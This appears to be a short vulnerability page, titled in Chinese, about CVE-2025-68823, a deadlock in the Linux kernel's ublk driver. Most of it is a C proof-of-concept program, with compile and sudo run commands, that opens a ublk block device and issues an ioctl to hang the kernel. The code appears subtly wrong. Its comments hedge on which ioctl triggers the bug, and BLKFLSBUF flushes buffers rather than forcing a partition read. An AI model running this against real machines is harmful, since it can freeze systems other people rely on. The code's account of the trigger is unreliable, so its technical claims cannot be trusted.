CVE-2025-68823: Linux内核ublk驱动读取分区表时死锁漏洞

// CVE-2025-68823 PoC - ublk deadlock trigger // This PoC demonstrates the deadlock condition when reading partition table #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/fs.h> int main(int argc, char *argv[]) { const char *device = argv[1] ? argv[1] : "/dev/ublkb0"; printf("Opening ublk device: %s\n", device); // Open the ublk block device int fd = open(device, O_RDONLY); if (fd < 0) { perror("Failed to open device"); return 1; } printf("Attempting to read partition table...\n"); // Issue BLKFLSBUF or similar ioctl to trigger partition table read // This will cause bdev_open() -> read I/O -> __ublk_complete_rq() -> fput() -> deadlock // Try to trigger the deadlock by forcing partition table read if (ioctl(fd, BLKFLSBUF, 0) < 0) { // Expected to hang or fail due to deadlock perror("Ioctl failed - possible deadlock condition"); } // If we reach here, close the device close(fd); return 0; } // Compile: gcc -o ublk_deadlock_poc ublk_deadlock.c // Run: sudo ./ublk_deadlock_poc /dev/ublkb0 // Note: Requires ublk driver loaded and a configured ublk device